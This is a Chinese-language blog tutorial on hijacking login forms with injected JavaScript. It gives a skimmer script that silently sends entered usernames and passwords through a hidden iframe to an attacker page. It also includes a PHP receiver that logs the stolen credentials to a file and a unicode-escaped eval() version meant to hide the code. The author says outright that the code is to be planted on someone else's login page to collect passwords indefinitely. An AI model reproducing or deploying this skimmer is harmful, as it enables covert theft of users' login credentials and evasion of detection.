JavaScript表单劫持用户名和密码(后门免杀)

  • 内容
  • 相关

原理:在正常的登陆页面,留下一段恶意JS代码,在登陆账号密码的同时会把账号密码悄悄的发送到接收站点。


实验环境:


1、test.html 正常页面

2、test2.php 用来验证账号密码数据的正常页面

3、test3.php 攻击站点用来接收账号密码的页面


4、http://127.0.0.1  你自己的攻击站


正常页面 Test.html

原始的界面,代码内容如下


<form action="test2.php" method="POST" id="form">
 
  <input type="text" name="user">
 
  <input type="password" name="pass">
 
  <input type="submit">
 
</form>
输入密码,数据提交给test2.php,

现在我们要在test.html里插入一段代码,用JS动态的创建一个iframe,包含表单里账号密码的值再把表单里的值发送到test3.php(恶意接收站点)

代码如下

<script>
 
    form=document.getElementById('form');   //获取form表单
 
    form.onsubmit=function(){
 
      var iframe=document.createElement("iframe"); //创建一个iframe 内联框架
 
      iframe.style.display="none";   //设置内联框架为隐藏模式
 
      alert(form.user.value);    //弹出表单里的账号的值
 
      alert(form.pass.value);    //弹出表单里密码的值
 
      iframe.src="http://127.0.0.1/test3.php?user="+form.user.value+"=username    "+form.pass.value+"=pass";           //对我们的站点发送GET请求,请求中附带着账号密码的数据
 
      document.body.appendChild(iframe);  
 
    }
 
  </script>


现在来编写用来接收账号密码的test3.php 

代码如下:


<?php
 
 $fp=fopen("user.txt", "a+");   //创建一个user.txt文本
 
 $referer="referer=".$_SERVER['HTTP_REFERER']."   ";   //查看账号密码是从哪个地方发来的
 
 @$user=$_GET['user'];   //接收GET请求的账号
 
  @$pass=$_GET['pass'];  //接收GET请求的密码
 
 
 fwrite( $fp, $referer);   //将referer 写入到文本里
 
  fwrite( $fp, $user);   //将账号 写入到文本里
 
 fwrite( $fp, $pass);     //将密码写入到文本里
 
  fwrite( $fp, "\r\n");     //每次写完换行
 
?>


现在我们点击提交查询试试



账号 123456密码 qwerty

账号密码弹出


账号和密码就被保存在我们的攻击站点

内容:来源URL发送给我们的数据   账号   密码 

只要我们把这段代码放到对方的登陆页面,无论他修改什么密码,我们都可以接收到密码。

这段代码这么low,那么我们可以尝试对它进行编码,转码,隐藏起来。


最后的代码就是

eval("\u0066\u006f\u0072\u006d\u003d\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0067\u0065\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0042\u0079\u0049\u0064\u0028\u0027\u0066\u006f\u0072\u006d\u0027\u0029\u003b\u0066\u006f\u0072\u006d\u002e\u006f\u006e\u0073\u0075\u0062\u006d\u0069\u0074\u003d\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0029\u007b\u0076\u0061\u0072\u0020\u0069\u0066\u0072\u0061\u006d\u0065\u003d\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0028\u0022\u0069\u0066\u0072\u0061\u006d\u0065\u0022\u0029\u003b\u0069\u0066\u0072\u0061\u006d\u0065\u002e\u0073\u0074\u0079\u006c\u0065\u002e\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003d\u0022\u006e\u006f\u006e\u0065\u0022\u003b\u0061\u006c\u0065\u0072\u0074\u0028\u0066\u006f\u0072\u006d\u002e\u0075\u0073\u0065\u0072\u002e\u0076\u0061\u006c\u0075\u0065\u0029\u003b\u0061\u006c\u0065\u0072\u0074\u0028\u0066\u006f\u0072\u006d\u002e\u0070\u0061\u0073\u0073\u002e\u0076\u0061\u006c\u0075\u0065\u0029\u003b\u0069\u0066\u0072\u0061\u006d\u0065\u002e\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0031\u0032\u0037\u002e\u0030\u002e\u0030\u002e\u0031\u002f\u0074\u0065\u0073\u0074\u0033\u002e\u0070\u0068\u0070\u003f\u0075\u0073\u0065\u0072\u003d\u0022\u002b\u0066\u006f\u0072\u006d\u002e\u0075\u0073\u0065\u0072\u002e\u0076\u0061\u006c\u0075\u0065\u002b\u0022\u003d\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0020\u0020\u0020\u0020\u0022\u002b\u0066\u006f\u0072\u006d\u002e\u0070\u0061\u0073\u0073\u002e\u0076\u0061\u006c\u0075\u0065\u002b\u0022\u003d\u0070\u0061\u0073\u0073\u0022\u003b\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0062\u006f\u0064\u0079\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0043\u0068\u0069\u006c\u0064\u0028\u0069\u0066\u0072\u0061\u006d\u0065\u0029\u003b\u007d")
转换后的代码,把这个代码放到对方任何位置都行,或者外部引用JS代码,放到登陆页面,就能无限的接收密码了。



本文标签:

版权声明:若无特殊注明,本文皆为《舜哥哥吖》原创,转载请保留文章出处。

本文链接:JavaScript表单劫持用户名和密码(后门免杀) - http://www.shungg.cn/post/89

发表评论

电子邮件地址不会被公开。 必填项已用*标注